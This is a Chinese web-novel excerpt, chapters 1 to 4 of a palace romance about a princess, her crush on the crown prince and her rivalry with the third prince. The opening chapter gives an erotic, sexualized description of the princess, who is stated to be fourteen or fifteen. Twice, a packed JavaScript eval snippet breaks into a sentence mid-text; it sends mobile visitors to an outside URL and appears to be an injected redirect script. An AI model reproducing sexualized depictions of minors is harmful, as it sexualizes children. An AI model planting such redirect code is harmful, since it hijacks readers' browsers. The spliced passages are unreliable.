《对死对头上瘾之后》 1. 第 1 章 正是初夏时节,晚间已有了燥意。 饶是留了一扇窗槅,有夜风吹起来,依然带不走这一室的沉闷暑气。 这样的天气,空气都仿佛都变得粘稠,催逼得人生出一种难言的燥//.热。 桌案上的瑞兽铜炉缓缓吐着香线,纱帐轻垂,露出床上女子影影绰绰的剪影。 夏夜燥//.热,她只穿了一件半袒胸制式的纱裙,单薄轻透,裹着她一身雪白细腻的皮肉,到底是自小娇宠着养大,肌肤莹润雪白如牛乳,不见一丝瑕疵。, 半透的纱裙底下,可以窥见她纤秾合度的身段,极细的一尾腰,不盈一握。 许是燥//.热难//.耐,身上的薄衾已被踢到一旁,纱裙底下露出一截小腿,笔直纤细,白得晃眼,脚趾莹润小巧,脚背却微微绷直了,似乎十分难受。 只见她眉心紧蹙,双眸紧闭,眼皮泛着薄红,浓密的眼睫轻颤,面上亦透出点不正常的潮红。 白腻的额头上更是渗出密密一层薄汗,香雾袅袅云鬟湿,三千青丝铺散在床榻之上,红唇微启,间或泄露几声细碎的//.吟,说不出的婉转酥人。 忽然她像是得了某种感应,猛地睁开了双眼,只是目光迷蒙,含着水汽,似乎神志仍是不太清醒。 却能教人真正看清她的五官。 少女不过是十四五岁的年纪,脸上虽仍有几分青涩稚气,却已出落得一副令人心惊的美貌。 峨眉婉转,琼鼻朱唇,浓睫掩映下,一双黑白分明的眼眸泛着潋滟水光。 眼皮半阖,似睨非睨,眸光流转间,浮起一段逼人的艳色,端的是媚态天成。 偏脸颊丰盈,稚气未褪,格外又添了几分娇憨懵懂。 一张脸妩媚中又不失天真稚气,身体却已熟透。 一截纤长玉颈下,是与年纪不符的丰盈饱//.满,雪峰半露,随着呼吸上下轻颤,活色生香。 她的眼神渐渐聚焦,落在了床的内侧,那里不知什么时候出现了一名年轻男子。 他靠坐在床头,屈起一条腿,手腕闲闲地搭在膝上。 霜白的月色透过窗棂洒入屋内,淡淡地落在他的身上,为他的轮廓镀上一层朦胧的清辉,越发显得不太真实。 月色下,她终于看清了男人的脸。 如雕似琢的一张脸,眉目几可入画,鼻梁高挺,下颌流畅收紧,骨相优越到近乎完美。 俊美到了极点,竟透出几分蛊人的妖冶。 他漫不经心地投来一瞥,唇角勾着一点若有似无的笑意,却自有一股风流意态。 汗珠从鬓边滑落,淌出一条暧//.昧的水痕,她只觉得,意识似乎越发不清楚了。 男人衣襟敞开,露出一大片紧实的肌理,目光再往下,却是穿戴完整,什么也看不见了。 她微微蹙眉,意识不清下,竟觉得有些失望。 她身上已被汗水浸湿,黏腻不堪,反观他,仍是清爽闲适,游刃有余。 她忽然便生了恼恨。 怎可只她一人如此狼狈? 何况他气质疏冷……月色清绝,缱绻地流淌在他的脸上,愈发衬得他整个人如同雪松冰雾一般,让人挪不开眼。 她意识不清地想到,他身上该是很凉吧……刚好可以替她解解暑气…… 她艰难地撑起身子,慢慢地向他靠近。 他眉梢微挑,唇边噙了丝玩味的笑意,轻挑而淡漠,既不朝她伸手,也不推拒,只是这么饶有兴味地看着她,看着她微颤的指尖,一点点攀上自己。 触碰到他的一瞬间,她舒服地发出一声喟叹,他身上果然一如她所想,触之清凉。 体内的燥//.热被平息了一瞬,可不知怎的,竟像是饮鸩止渴一般,不过一息,便迎来了疯狂的反噬——心底有一个念头在不断叫嚣,她渴望更多。 颤巍巍攀附上他的肩颈,柔若无骨的手正要顺着他的襟口探进,手腕却忽然被人一把捏住。 “看清楚了,我是谁?” 他偏过头,淡淡地看向她,嗓音冷冽:“我可不是太子。” 她美眸含着雾气,眼神渐渐聚焦,红润的唇瓣一开一合,颤声道:“我……我知道……” 他笑了下,满意地松开了手,月色流连在他眉间眼上,有一种清绝的潋滟。 她怔怔地看着他,像是受了某种蛊惑,环着他的脖子,慢慢吻向了他,即将吻上他的唇时,她却忽然如梦初醒,猛地松开了他,恍惚地摇着头道:“不,不行……” 男人追了过来,拢过她的手,低头亲吻她的指尖,哑声道:“怎么了,嗯?” 她立刻收回了手,支支吾吾地道:“我……我不喜欢你……我喜欢的,是太子哥哥……” 男人的眼神倏地冷了下来,意味不明地“哦?”了一声。 “可是你的身体,好像更喜欢我啊。” 他冷嗤了一声,倾身附在她耳边:“既然你觉得你喜欢太子,那么,就让你的太子哥哥来帮你吧。” 话音刚落,男人便化作一缕轻烟消散在眼前。 她慌忙地伸出手,却是什么都抓不住:“萧闻祈!” 她猛地睁眼从梦中惊醒,等回过神后,支撑着身体慢慢地从床上坐起,靠坐在床头喘//.息着。 抬手擦拭了一下额头与鬓边,发现已是汗水淋漓。 她又做了这样的梦…… 这时忽然传来了一阵急切的脚步声,帐幔被人撩起,探进来一张焦急关切的小脸:“公主,您又被梦魇着了?” 颜嘉柔点了点头:“映雪,我想喝点水,要冷一些的。” “是,公主。” 片刻后,映雪又重新走了回来,将帐幔用帐钩勾起,她坐在床边,把水杯小心地递了过去:“公主。” 颜嘉柔接过茶水,像是十分干渴似得,仰头一饮而尽。 冷茶入腹,体内的燥//.热这才渐渐平息。 映雪取出帕子,仔细地替她擦拭着额角的汗水。 颜嘉柔双手捂住发烫的脸,懊丧道:“映雪,我又梦到他了……” 映雪动作一顿,试探道:“您说的,可是三皇子么?” 三皇子萧彻,字闻祈,是当今圣上的第三子。 当今圣上共育有三子,大皇子萧珏,二皇子萧衍,三皇子萧彻。 大皇子与二皇子一母同胞,皆由孝贤皇后所出,孝贤皇后出身清河崔氏,身份尊贵,背靠整个越陇门阀,是以大皇子萧珏早早就被册封为太子。 而三皇子萧彻,虽然是魏元帝最宠爱的幼子,但因为生母江贵妃并非士族出身,且身份成迷,所以从一开始,他就退出了王储之争。 江贵妃江沉鱼,人如其名,有沉鱼落雁之姿,又是兰陵族人,传言兰陵一族,无论男女,容貌皆极为昳丽,有勾魂摄魄之能,最擅蛊惑人心。 所以兰陵族人,常被称为祸国一族,这样的容貌,若是入主他朝后宫,岂不让君王为之神迷失智? 而江沉鱼的容貌像极了传闻中前朝的岐国公主——现今遗留的兰陵族人,多为前朝皇室。 这就有了江贵妃是前朝余孽的传闻。 这样身份不明的人,自然不能入后宫,而她的儿子,也自然无缘皇位。 如今她之所以能入宫,不过是因为当初魏元帝一意孤行,又在前朝对门阀做了诸多妥协,包括迎娶崔皇后,这才成功立了江沉鱼为贵妃。 而萧彻完美继承了生母的长相,容貌极为俊美,足以令许多世家贵女为之神魂颠倒。 不过颜嘉柔却并不喜欢他。 说起来,她身为名义上的公主,原本该唤他一声“三皇兄”的,只不过她与他素来不和,更多的时候,是直呼他名讳。 她是从什么时候开始讨厌他的呢? 好像是从她七岁那年一次意外落水后被那时还是大皇子的太子所搭救,那时太子也不过十二岁,一个半大孩子罢了,却为了救她不惜在数九寒天跳入冰冷刺骨的湖水中,那湖并不浅,险些也要了他的命,可他从始至终都没放开她的手。 她那时迷迷糊糊地抓着他的衣角,从他腰间扯下了一块玉牌,隐约能从他的服饰中辨出他是一位皇子,却始终看不清他的脸。 从那时起她就喜欢上了他,小孩子并不懂什么,听宫人念了几本话本,话本里女子报恩大多以身相许,便暗暗发誓长大了一定要嫁给他。 等她醒来后,迫不及待地想要见到自己的救命恩人,睁眼的那一刻,她见到了大皇子,是他在湖边守着她。 原来是他救了她…… 于是她便整天跟在他屁股后面,奶身奶气地叫他:“珏哥哥……”她咬着手指,明明是什么都不懂的年纪,却言之凿凿地道:“我以后要嫁给你噢。” ——她不过是占了个公主名号,只因魏元帝从前微服出巡结识了她的父亲颜弘方,两人一见如故,成了好友。 后来一次意外,颜弘方为了救当时与魏元帝一道出行的江贵妃葬身火海,他夫人不久后也郁郁而终,撒手人寰,只留下一个不足三岁,只知道哇哇大哭的颜嘉柔。 魏元帝怜其身世,感念其父恩德,特将她接入宫中抚养,封为清河公主,此事满朝皆知,她虽为公主,不过是享受了公主的封号和待遇,但并未入玉牒,说到底跟几位皇子毫无关系。 魏元帝待她极好,也曾调笑道:“嘉柔自幼与朕的三个皇子青梅竹马,他们看着都很喜欢你,日后朕这三个儿子,嘉柔喜欢哪个便嫁那个,可好?” 后来萧珏被立为太子,她就改口叫他:“太子哥哥。”只是那句“我日后要嫁给你”,却从未更改。 好像就是从落水之后她整日跟在太子后面,口口声声说要嫁给他时,萧彻就跟她不对付了。 后面随着年岁渐长,俩人的关系非但没有缓和,反而愈发紧张。 颜嘉柔讨厌死萧彻了,她觉得他处处针对她! 记得有一次,魏元帝最宠爱的永宁公主羡慕几位□□日在永延殿由大儒授课,便央著魏元帝说她也想读书增加见识,凭什么哥哥们都有,偏她没有? 魏元帝便下令让几位公主旁听,虽然她不过是名义上的公主,但也跟着一道去了,她也乐得多与萧珏见面,左右她们几位公主不过是旁听,平时也不必做什么功课。 可偏偏其中有一位老师,不知道是听了永宁公主说的希望先生一视同仁,还是他原本就格外严苛,颜嘉柔在课上偷看萧珏,被他抓了个现行,斥责她上课走神,不认真听讲,罚她抄书十遍,这也就算了,偏偏罚抄的篇目还要交给萧彻! 别的公主偷懒少抄几篇,他也就睁一只眼闭一只眼放过了,偏偏轮到她时,格外较真:“清河公主,似乎少抄了三篇。” 嘉柔在心里暗骂了他好几遍,面上却不得不挤出笑意,娇滴滴地央著他:“彻哥哥……” 她平时从不这么叫他,也只有有求于他时,才会这么撒娇。 萧彻抬头,似乎有些意外,唇角上翘,看上去心情不错:“叫得不错,”他微微一笑,食指微蜷,轻扣在案上:“不过,一篇都不能少,” “你!” “瞪我也没用,谁教你在课上偷看太子的?”他倒是义正言辞 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轮到她了,她那时与人打赌输了,必须帮她送东西给萧彻,她原本以为萧彻顶多不收,没想到他却发了好一通脾气:“清河公主当我是什么,什么人的东西都往我这边送?我只问你,倘若她让你将此物送给太子,你也送吗?” 当时颜嘉柔一头雾水,不明白萧彻缘何生气,怎么同样的事情永宁可以做,她就不行,果然她便是比不上他的亲妹妹,他针对她! 诸如此类的事不胜枚举,颜嘉柔虽然性子骄纵,但并不如何记仇,放眼宫中,能让她如此咬牙切齿的唯有萧彻一人,他是她的头号死对头! 可如今……她居然做了和死对头的椿梦……且不止一次…… 颜嘉柔不明白她是怎么了:“映雪……我是不是生病了?” 生病?映雪蹙眉,可这情形,倒也不像是生病:“公主莫要多想,或许只是近日天热,人难免生了燥意,而公主正值青春少艾,动了春心也是有的。” “你……你是说我思春?”颜嘉柔浓睫轻颤,咬唇道:“可……为什么对象不是太子呢?” “这……或许是三皇子他……他便是比太子更容易让人生出些绮念……”映雪咬了一下舌头,她到底在说些什么! 连忙改口道:“江贵妃倾国倾城,三皇子肖似其母,便比太子还要俊美些,爱美之心人皆有之,爱慕他的女子也不多公主一个,公主不必介怀……” 颜嘉柔觉得自己快要疯了:“可我,并不喜欢他呀!我从小到大喜欢的,都是太子哥哥!”她说着转身从枕头底下翻出一块玉牌:“喏,他还救过我的命,这是他救我时落下的。” 自从梦见和萧彻……她便将这块玉牌放在枕头下,以此提醒自己喜欢的人从始至终都是太子,也希望不要再梦见萧彻了,结果非但没用,梦境反而越来越不堪入目…… 她懊恼地抚摸着玉牌上的纹路,想不明白为什么会这样呢? 这块玉牌是羊脂玉锻造的,通体洁白无瑕,底下似乎刻了一个字,却不是魏字,她当时小,问了照顾她的嬷嬷,嬷嬷也不认得,她自诩是识文断字的,不是一般的粗使嬷嬷,有心想在小公主面前找回点面子,便道:“这兴许不是什么字,瞧着倒有些像某种不常见的花纹。” 颜嘉柔深以为然,便不作他想。 她将玉牌重新放了回去,重重地叹了口气。 跟萧彻做那种梦,难以启齿的同时,还让她觉得她似乎背叛了太子,明明她和太子是两情相悦,他说过他会娶她的,她一面跟他海誓山盟,背地里却和萧彻做着这样的梦……她还从没梦到过太子。 这让她有一种强烈的负罪感。 她苦恼极了,实在不知道该怎么办。 映雪这时也跟着叹了口气:“是啊,公主您喜欢的明明是太子殿下……” 只得安慰她道:“无妨,梦境总归是虚幻的,做不得准……何况您也说了,每每到了最后关头,在梦境中,您也并没有和三皇子发生什么不是么?” 是啊,她松了口气,好在并没有发生什么。 即便是在梦中,她也不算真的背叛了萧珏,何况那只是梦而已,人又怎么能控制得住自己的梦境呢,这不能怪她,要怪就怪兰陵一族,惯会蛊惑人心…… 话虽如此,可她此刻的内心依旧算不得安宁,因为随着此类梦境的频发,梦中的尺度似乎越来越大,而梦中的自己,也远没有现实中来得清醒。 萧彻其实什么都没有做,他只是在那儿看她一眼,她就已经神志不清了。 他似乎并不屑对她行蛊惑之事。 可倘若有一日,他愿意这么做了呢…… 不行……再这样下去,她怕她真的会在梦境中背叛萧珏。 不,即便在梦中,她也决不允许这样的事发生。 一定会有办法的。 她让映雪为她准备一桶温水,偏凉一些,每次做完这样的梦境,便是一身黏腻的汗水,不沐浴根本无法入睡。 沐浴时手指触碰到小腿外侧的一个印记,因为并不明显,往常都是直接略过,这次不知为何,鬼使神差一般,指尖在上面停留了很久。 这个印记,是上回跟随魏元帝狩猎时意外被野狐咬了一口所致,可奇怪一个月过去了,伤口竟还没完全愈合,因为时间过去太久,她几乎都要忘记这件事了。 可如今仔细想来,正是那次骊山狩猎回来后,她才开始变得不对劲。 身体不知何故,总是躁动难安,像是春日万物复苏,那些山野动物,也渐渐进入发//.情期…… 便是被那野狐咬了一口起,她才开始滋生出那些荒唐梦境…… 一切,都要从一个月前那场骊山之行说起。 2. 第 2 章 一个月前,适逢大朝会,北楚派使者前来朝见。 时值春盛,万物复苏,使者听闻大魏的北面有一座骊山,传说是龙脉所在,灵气汇聚之地,有不少珍奇走兽,大有灵性,遂提出去骊山狩猎,以增见闻,元帝欣然应允,带着几位皇子公主一道拔营前往骊山。 北楚派来的使者中有北楚王子卓沙,此人争强好胜,又擅骑射,提议与大魏来一场狩猎比赛,在规定的时间内,哪一队猎到的猎物多,则获胜。 北楚由王子领队,大魏这边,自然也要派出一位皇子。 大皇子与二皇子,在骑射方面均无天分,虽有名师教导,但受天分所限,实在算不上精通,魏元帝想都没想,就指了萧彻带人前去与卓沙王子比试。 萧彻笑了笑,遥望向高座上的魏元帝:“儿臣若是赢了比赛,父皇可有什么赏赐?” 魏元帝哈哈笑道:“这个是自然,彻儿若是赢了比赛,想要什么赏赐,尽管开口。” 颜嘉柔彼时正在低头剥葡萄,十根手指被汁液淋得一塌糊涂,正想找映雪要丝巾拭手,却忽然感到有灼灼的视线落在她的身上。 一抬头,正对上了萧彻的视线。 还是那般玩世不恭的散漫神情,唇角噙了丝若有似无的笑意,浪荡又轻挑,一看就知道是在打什么坏主意。 圣上许他赏赐,他看她做什么? 颜嘉柔将嘴里嚼到一半的葡萄囫囵吞了下去,又护食地将桌上的那一碟葡萄拢在身前,眼观鼻鼻观口。 这葡萄是西域贡品,一共也没有几碟,极为珍贵,他之前说与人打赌输了,故把他的那碟给了她,如今不会后悔了吧? 萧彻怔了下,没忍住笑了一声,之后抵唇咳嗽了一下,到底也没说什么,转而移开了视线,起身离席。 他今天穿了一身玄色骑装,革带束腰,衣襟处用银线绣了云纹,在日光下隐隐有流光浮动。 一身窄衣愈发显得宽肩窄腰,身姿挺拔。 颜嘉柔没忍住多看了两眼,见他点了一支羽林军,以为他即刻就要动身去山林里与卓沙王子他们比赛了,便重新埋头剥她的葡萄,余光却忽然瞥见眼前有银光浮动,她微微一怔,抬头却见萧彻正立在她身前,唇边携了一丝笑意,没来由地问了一句:“想要什么?” 她眨了眨眼,一时没反应过来:“什……什么?” 他微微俯下身,看了她一会儿道:“给你顺道捉两只小兔子过来,好不好?” 他摸了摸下巴,笑得肆意又恶劣:“嗯,就捉两只白白胖胖,长得像你的。” 说完拍了拍她的脑袋,转身走回了红鬃马前,利落地翻身上马,一面取出弓弩,勒着缰绳,带着一支羽林卫缓缓步入丛林中。 颜嘉柔呆呆地看着他远去的背影,好半天才反应过来,随手抓起桌上的什么东西就朝他的方向扔了过去:“混蛋,萧闻祈,你说谁胖呢!” 等回过神来发现扔的居然是所剩无几的葡萄,又一时心痛懊恼不已。。 她深吸一口气,继续低头剥起了葡萄,这葡萄皮极难剥,皮薄而粘肉,汁水又多,往往没剥一颗,手指就要打滑好几次,弄得汁水淋漓的,十分狼狈,她也曾叫映雪帮过她,结果这小丫鬟被她宠坏了,比她还不如呢。 正当她苦于不知该怎么继续剥葡萄时,一旁忽然传来一道极温润的嗓音,蕴着浅浅笑意,让人如沐春风:“孤帮你。” 她一转头,发现太子不知何时已经落座在她身边:“让孤来帮你剥。” “太子哥哥……”颜嘉柔觉得有些丢脸,小声嗫嚅道:“这种事,怎么敢劳烦您呢……” 他待她总是格外得温柔:“无妨,父皇他们已经回帐子里休息了,如今只有你我两人,没人瞧见。” “况且孤迟早是要娶你的,给未来的太子妃剥个葡萄,又怎么了?” 说着便拈起一枚葡萄,慢条斯理地剥了起来,这葡萄难剥,他却极有耐心,一瓣瓣地剥开外皮,末了送到她唇边,用眼神示意她张嘴。 颜嘉柔乖乖地张嘴含住,略略咀嚼后笑道:“好甜。” 少女容貌本就明媚,一笑起来,两颊梨涡浅浅,更是鲜妍,只是到底年纪小,还是一团孩子气。 不过这也没什么不好,更显娇憨可爱。 阳光照在她的脸上,白腻的脸颊泛着柔和的光晕,脸上的绒毛都纤毫可见,她那样热忱地看着他,似乎满心满眼都是他,她一笑,他便觉心都要化了。 萧珏虽贵为太子,但魏元帝偏爱萧彻,孝贤皇后更喜欢次子,纵观阖宫上下,也只有颜嘉柔才会用这样的眼神看着他,满心满眼全是他。 萧珏眼神暗了下。 这是独属于他的一道天光,谁都不可以夺走。 她的眼里,也永远只能有他一人。 颜嘉柔吃着葡萄,见他意味不明地盯着她,也懵懂地回望过去,看了他一会儿,甜甜地笑了起来,少女肌肤白腻透粉,像夏日枝头上的诱人的水蜜桃,眼神却透着澈然天真,全不知萧珏此时内心疯长的独占欲。 萧珏喉结滚动,伸手轻抚着她的后脑勺,眼中溢满柔情:“等时机成熟,你就嫁给我好不好?” 他所说的“时机成熟”,便是等他登基后,羽翼渐丰,已能不受世族的掣肘,届时他想立谁为后便立谁为后。 魏元帝早年四处征战,平定各方割据势力,的确神武非常,可如今人到了暮年,便开始沉迷丹药,身子也已日渐亏空,怕是没有几年了。 倘若不生变故,他不久便可登基,也就能一偿多年夙愿,而在他心中,颜嘉柔和皇位,同样重要。 颜嘉柔微微一怔,随即甜笑着伏靠在他的肩上:“自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14791807|158141||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然啊,从八年前,你把我从冰冷刺骨的池水中救出来时,我就决定要嫁给你啦,这么多年,我对你的心意从来没有更改过。” 萧珏眼底闪过一丝不易察觉的异色,只淡淡道:“过去的事,以后就不要再提了,好不好。” 他扳开她的身子,低头温柔地注视着她,故意玩笑道:“难道当年救你的那个人不是我,你就不再喜欢我了么?” “我……”颜嘉柔微微蹙眉,因为觉得似乎是自己说错了话,而显出几分愧疚无措:“太子哥哥……嘉柔不是这个意思……” 她目光灼灼地看着他,急切地跟他表明心意:“我……我永远都只会喜欢你的。” “真的么?” “真的!我发誓!这一世,都只会喜欢太子哥哥一个,绝不移情,否则便让我在情路上遭遇诸多磨难,一波三折!” 听到了满意的回答,萧珏唇角泛上一丝笑意。 他摸了摸她的脑袋:“好了,我知道小嘉柔的心意。”他在她面前,一贯温润:“乖,吃葡萄吧。” 西域进贡的葡萄有种别样的甘甜,她先前早就吃了一盘,如今把从萧彻那里抢来的那盘又吃了大半,后知后觉从喉底泛上一种说不上来的腻味,便想要喝点茶水解腻,谁知一个没拿稳,茶水洒了出来,泼在了衣襟上,胸前霎时湿了一大片。 萧珏下意识地伸手想要为她掸去水渍,目光落在她胸前时,却忽然顿住了。 只见她胸前的一大片薄纱被水浸湿后几乎变得透明,紧紧地贴在身上,完整地勾勒出她胸前的轮廓,竟是出人意料的饱满欲坠,随着她的呼吸一颤一颤。 他喉头发紧,眸色暗了下去。 他的小嘉柔,原来在不知不觉中早已经长大了。 是啊,算算年纪,她如今,也已及笄了。 他从小娇养的花朵,如今含苞待放,已可采撷,只可惜,时机还尚未成熟。 不过无妨,他必定是第一个,也是唯一一个折枝之人。 他滚动喉结,立刻转身吩咐随从拿过他的披风,仔细地替她系上,掩住她外泄的春光。 颜嘉柔低头拿着丝帕擦拭水渍,却不小心把积在胸前的一汪茶水尽数撇到了腰窝处,等回过神来时,已慢慢浸湿了整个腰际,腰带系着,愈发湿哒哒得难受。 她无奈只得解开腰带,好在身上披着萧珏的披风,解下腰带也并没有什么。 两人忙着处理这个突发状况,并未留意到不远处马蹄声渐近——萧彻他们已经回来了。 直到放在案桌上的那条素白半月水波腰带被一只骨节分明、白皙修长的手挑起,两人才不约而同地抬起头来。 却见萧彻正把玩着那条素白腰带,眸底意味不明,略扯了唇角,携着些许冷意,只问道:“清河公主与太子,这般衣衫不整的,是在做什么?” 3. 第 3 章 颜嘉柔一怔,雪白的面颊立刻涨得通红:“你……你胡说什么!” 萧彻晃了晃手中的腰带,唇边浮起一抹讥诮的笑,只一挑眉:“我胡说?” 颜嘉柔嘴笨,但还是急急地辩驳道:“萧彻,不是你想的那样!” 萧珏这时也开口解释道:“你误会了三弟,原不过是嘉柔不小心打翻了茶杯,溅湿了衣裙,这才解下了腰带,并没有别的。她脸皮薄,你莫要闹她了。” 萧彻神色缓和了几分,淡道:“是么?” 眼风扫过萧珏面前的一堆葡萄皮,眉梢微动:“我记得,太子并不爱吃葡萄。” 萧珏一愣,温和笑道:“这是为嘉柔剥的。” 萧彻意味深长地“哦”了一声,转而看向颜嘉柔,要笑不笑地道:“怎么清河公主,你的手是坏掉了吗?” “你!你的手才坏掉了!”颜嘉柔气急,把她一双手整整齐齐地摆在案桌上,倒是白白软软,不见一丝伤痕:“我好得很!” 萧彻先是被她突如其来的自证举动给可爱到了,弯唇笑了一下,而后收了笑意,俯身靠近了她,一手撑在桌案上,缓缓眯起眼眸:“既然如此,皇妹真是好大的排场,竟敢支使堂堂一国储君为你剥葡萄。” 颜嘉柔最受不了他的阴阳怪气了,下意识地反驳道:“关你什么事!” 萧珏眼见两人剑拔弩张,一副又要吵起来的样子,连忙从中调和道:“三弟,这事不怪嘉柔,是孤主动……” “大哥,”萧彻转头看向他,皱眉道:“她是一贯没什么脑子,又从小被我们宠坏了,恃宠而骄,做事向来也没有分寸,怎么你也跟着她一起胡闹?” “如今这是在外面,一国储君亲自给个小丫头剥葡萄,她又如何承受得起?” “说到底,她虽有公主的头衔,但与我们并无血缘之亲,身后也是毫无依仗,也亏她没什么树敌,好歹也安安稳稳过了十几年,可太子你贵为一国储君,有多少双眼睛盯着,若是被有心人看去了,岂不害了她。” “更何况,她再怎么说也是个未出阁的姑娘,你既不能保证什么时候娶了她,如今也没个婚约,这般举止亲密、又让她披着你的披风,不怕损坏她的清誉么?” 萧珏抿唇不语,仿佛陷入了某种沉思。 颜嘉柔却恼道:“萧闻祈你在胡说什么,我和太子的事,轮不到你操心,再说我有什么好怕的,陛下金口玉言,说了我日后可以嫁与几位皇子中的一个,反正我最后要么不嫁,若是嫁了,肯定是要嫁给太子的!” 萧彻扯了下唇角,转头附在她耳边,用只有他们两个才能听得见的声音慢慢开口道:“我说皇妹,有时候话可别说得太满了——我看,未必。” 说完也不顾气急的颜嘉柔,端起桌上的那碟葡萄交给了身后的随从。 颜嘉柔顿时慌了神色,目光紧紧盯着那碟葡萄,满眼不舍:“喂,萧彻你……你干什么,那是我的葡萄!你又不爱吃葡萄,你给我了的!” “现在不是了,”萧彻微笑道:“我改变主意,打算赏给踏雪了。起码它不用别人替它剥皮,倒比某人强一些。你说是不是,皇妹?” 踏雪她知道,那是萧彻的坐骑,一匹雪骢马。 他居然宁可把葡萄给一匹马也不给她! “你……你出尔反尔,你不要脸!” 萧彻直起身,双手负背,一张俊脸懒洋洋的,淡如水的阳光落在他的脸上,为他的轮廓镀上了一层金色的光圈,愈发显出几分出尘摄人之感。 他的脸上挂着散漫的笑意,眉梢微挑,无谓道:“我便就是不要脸了,你又能拿我怎么样?” 说完微哂一声,转身走了。 颜嘉柔呆呆地看着他离去的背影,似乎是被他的厚颜无耻给惊呆了,好半天才回过神来,气恼道:“萧闻祈,我就知道你给我葡萄没安好心,你故意的,你讨厌死了!” 一旁却传来萧珏温和的劝解声:“好了嘉柔,三弟一向如此,他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14791808|158141||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也比你长不了几岁,你又何必跟他置气呢?” 转头对上他温润和煦的面庞,心情顿时舒缓了不少,忍不住撒娇道:“太子哥哥,还是你最好了。” 听出小姑娘语气中浓浓的依赖与眷恋,萧珏唇角微弯,柔声道:“真的么?” “当然了!你最好了,总是哄着我,让着我,不像那个萧彻,只会欺负我!” 萧珏道:“也只有你和三弟从来都是那般不对付,我以为三弟的样貌生的极好,该是很招小姑娘的喜欢才对,倒的确如此,偏你和他竟势同水火,也真是奇了。” 颜嘉柔不以为然道:“这有什么奇怪的,他那么讨厌,便是样貌生得再好,我也喜欢不起来。”她可不是什么肤浅的人! 反观萧珏,虽然只是寻常的俊朗,不如萧彻那般俊美得近乎嚣张,但他救过她的性命,在她眼里,他便是千好万好,任谁也比不上。 再回过神来时,却听萧珏道:“说起来,三弟待你似乎格外不同些,他对旁的女子,总是淡淡的,也从不接受她们的示好,却总是爱来招惹你。” 颜嘉柔哼了一声道:“那是因为他虽然不喜欢她们,可却也并不讨厌,对他来说,她们只是些无关紧要的人罢了,但我就不一样了,也不知道我是哪里得罪了他,他竟那样记恨我,总是要针对我、欺负我,实在是坏得透顶!” 萧珏垂下眼帘,掩住了眼底情绪,一张脸辨不出是什么神色,只淡淡道:“是么。” 其实喜欢与厌恶,往往只在一线之间,有时候当局者迷,也未必便能勘得破。 但无论哪一种,总是要好过“无关紧要”这四字。 不过无妨,无论是哪一种,他都不在意,即便萧彻态度暧^昧,但他确信颜嘉柔满心满眼都是自己,决不会生二心,而萧彻向来心高气傲,嘉柔如今越表现得讨厌他,他越是要针对她、欺负她,以此来获取她的关注,他实在想不到会出现什么样的契机,才能让二人的关系得到缓和。 4. 第 4 章 营帐的正前方,大大小小的猎物被分列堆放在两侧。 一眼望去,大多是一些鹿、獐、雉、兔,也有不少猞猁狲与熊、豹。 左侧插、刺在猎物身上的鸟枪、弓矢标白徽,右侧标红徽。 但凡长眼睛的,都能一眼看出标红徽的猎物远多于标白徽的。 颜嘉柔知道,萧彻的箭矢向来是标红徽的,他骑射好,在校场上策马射箭,旁的几位公主总爱拉着她一块去看,说是她们三哥的骑射如何如何漂亮,若是错过岂不可惜。 她虽不情愿,也总不好老是拂她们的意,十回总有三回是会去的,见得多了,那抹张扬的红徽便也烙在了脑海。 萧彻的骑射的确漂亮。 单手勒紧缰绳,俯身贴上马背,纵马疾驰,另一只手取出弓箭,直起身子,扣上箭弦,缓缓弯弓至极处,倏地松开手指,空中顿时响起凌厉的箭矢破空之声,嗖的一声,利箭入靶,箭羽轻颤,正中靶心。 轻风卷起他的发丝,在半空中恣意飞扬,平添几分动人心旌的意气风发。 连风都仿佛偏爱他。 萧彻身上的光芒太炽,看久了,不免有一种目眩神迷之感,不禁微微生了恍惚。 她有时候甚至会想,她真的讨厌他么,倘若他肯稍微顺着她一点,不与她作对,她还会像现在这么讨厌他么? 可惜他骄傲得很,竟半点不肯给她好颜色。 不过也没什么,总归她该喜欢的人,从来也不是他。 回过神后,她将目光再次落在了标红徽的猎物上。 他一贯用红徽,张扬热烈,便像极了他这个人。 饶是再讨厌萧彻,她也不得不承认他的骑射十分出众——这场狩猎,论猎物数量,不用细数,很显然是萧彻赢了。 只可惜北楚的卓沙王子,却并不是个输得起的人物。 他嗤了一声,转而面向魏元帝,行了一个揖礼,语气十分恭敬,然而余光瞥向萧彻时,却携了几分挑衅轻慢,显然并不十分心服口服:“尊敬的魏朝陛下,原本与贵国皇子比赛狩猎,小王狩的猎物既没有三殿下多,理应认输,只当是技不如人……只是……” 话锋一转,却道:“只是小王忽然想起来,贵国的三皇子,其母妃似乎是兰陵族人?” 萧彻长眉微敛:“是又如何?” 卓沙似乎就等着他这一句,闻言立刻说道:“这就是了,听闻兰陵族人在许多方面都异于常人,尤善骑射,你母妃既是兰陵族人,你身上自然流了一半兰陵族人的血。” “你赢了我,也不过是占了血统的便宜,你让我怎么心服口服?” 颜嘉柔闻言睁圆了眼睛,她都惊呆了,这世上怎么会有卓沙这么厚颜无耻的人? 怎么他难道不是一开始就知道萧彻身上流淌着兰陵族人的血么,之前怎么不说,偏偏等到输了才提及? 这分明是输不起,所以才临了故意扯这些有的没的出来,好为他输给萧彻这事找借口。 真不要脸。 萧彻自小练习骑射,即便没有占了兰陵族血脉的便宜,也照样能赢他。 